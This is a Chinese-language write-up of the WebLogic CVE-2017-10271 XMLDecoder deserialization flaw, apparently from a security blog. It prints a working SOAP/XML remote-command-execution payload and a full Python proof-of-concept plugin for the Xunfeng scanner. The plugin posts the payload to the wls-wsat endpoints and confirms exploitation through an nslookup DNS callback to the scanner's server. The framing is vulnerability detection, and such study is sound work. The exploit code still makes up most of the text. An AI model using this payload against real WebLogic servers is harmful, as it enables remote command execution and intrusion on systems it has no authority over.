一、原理:
很明顯啦,readobject又出來背鍋了,一個XML的反序列化漏洞導致的命令執行。
具體原理我看不懂java代碼的我也只能學習別人的分析。給出一篇參考文章,寫的非常詳細:
二、如何構造命令執行的payload-xml:
1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 2 <soapenv:Header> 3 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 4 <java version="1.8" class="java.beans.XMLDecoder"> 5 <void class="java.lang.ProcessBuilder"> 6 <array class="java.lang.String" length="3"> 7 <void index="0"> 8 <string>nslookup</string> #命令名稱 9 </void> 10 <void index="1"> 11 <string>%s</string> #巡風的隨機字符串,用來后面去查HTTP或者DNS log的flag字符串 12 </void> 13 <void index="2"> 14 <string>%s</string> #目標IP 15 </void> 16 </array> 17 <void method="start"/> 18 </void> 19 </java> 20 </work:WorkContext> 21 </soapenv:Header> 22 <soapenv:Body/> 23 </soapenv:Envelope>
三、巡風的poc分析:
講一下驗證流程:
1、首先發包請求目標地址,如果目標地址返回存在banner信息:Web Services在報文中則進行下一步測試。 (首先得有weblogic啊)
2、發請求把XML內容 POST到目標主機去,休息2s后請求巡風的自己的WEB服務器上的http://%s:8088/{隨機字符串} 相當於記錄了NSLOOKUP的dnslog。如何查到了,返回結果有YES則存在漏洞,否則不存在。
1 #!/usr/bin/python 2 # coding:utf-8 3 ''' 4 巡風及巡風的插件基於python2 5 主要有兩個函數: 6 get_plugin_info() 返回插件信息 7 check(ip, port, timeout) 接收IP,端口號及超時參數供巡風主程序調用,有返回值且返回值在判斷里為True,即為漏洞存在,返回值即為本次的掃描結果,詳情請看接下來的函數實現 8 ''' 9 10 import random 11 import urllib2 12 import socket 13 from time import sleep 14 15 16 def get_plugin_info(): 17 '''get_plugin_info 函數用於返回該插件和插件所檢測漏洞的信息''' 18 plugin_info = { 19 "name": "WebLogic WLS RCE CVE-2017-10271", 20 "info": "Oracle WebLogic Server WLS安全組件中的缺陷導致遠程命令執行", 21 "level": "高危", 22 "type": "命令執行", 23 "author": ".@sinosig", 24 "url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html", 25 "keyword": "tag:weblogic", 26 } 27 return plugin_info 28 29 30 def random_str(len): 31 '''返回隨機字符串''' 32 str1 = "" 33 for i in range(len): 34 str1 += (random.choice("ABCDEFGH1234567890")) 35 return str(str1) 36 37 38 def get_ver_ip(ip): 39 '''返回當前服務器ip,當poc所用payload無回顯時,可以使用巡風輔助驗證的http服務和dns服務''' 40 csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 41 csock.connect((ip, 80)) 42 (addr, port) = csock.getsockname() 43 csock.close() 44 return addr 45 46 47 def check(ip, port, timeout): 48 '''本次poc的驗證的主函數,巡風會調用該函數進行漏洞檢測''' 49 test_str = random_str(6) 50 server_ip = get_ver_ip(ip) 51 check_url = ['/wls-wsat/CoordinatorPortType', '/wls-wsat/CoordinatorPortType11'] 52 53 heads = { 54 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)', 55 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 56 'Accept-Language': 'zh-CN,zh;q=0.8', 57 'SOAPAction': "", 58 'Content-Type': 'text/xml;charset=UTF-8', 59 } 60 61 # 本次漏洞的payload 62 # 本次命令執行漏洞的payload所觸發的response沒有明顯回顯和行為提供判斷,所以作者使用nslookup發送dns請求到get_ver_ip函數中取到的服務器地址,如果巡風服務器收到帶有random_str函數生成的隨機字符串的dns請求即可判斷為漏洞存在。 63 post_str = ''' 64 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 65 <soapenv:Header> 66 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 67 <java version="1.8" class="java.beans.XMLDecoder"> 68 <void class="java.lang.ProcessBuilder"> 69 <array class="java.lang.String" length="3"> 70 <void index="0"> 71 <string>nslookup</string> 72 </void> 73 <void index="1"> 74 <string>%s</string> 75 </void> 76 <void index="2"> 77 <string>%s</string> 78 </void> 79 </array> 80 <void method="start"/> 81 </void> 82 </java> 83 </work:WorkContext> 84 </soapenv:Header> 85 <soapenv:Body/> 86 </soapenv:Envelope> 87 ''' % (test_str, server_ip) 88 for url in check_url: 89 target_url = 'http://' + ip + ':' + str(port) + url.strip() 90 req = urllib2.Request(url=target_url, headers=heads) 91 if 'Web Services' in urllib2.urlopen(req, timeout=timeout).read(): 92 req = urllib2.Request(url=target_url, data=post_str, headers=heads) 93 try: 94 urllib2.urlopen(req, timeout=timeout).read() 95 except urllib2.URLError: 96 pass 97 sleep(2) 98 # 這里請求 http://{巡風的地址}:8088/{本次生成隨機字符串} 如果返回YES,則證明服務器收到該請求,漏洞存在 99 check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read() 100 if "YES" in check_result: 101 return "Exist CVE-2017-10271" 102 else: 103 pass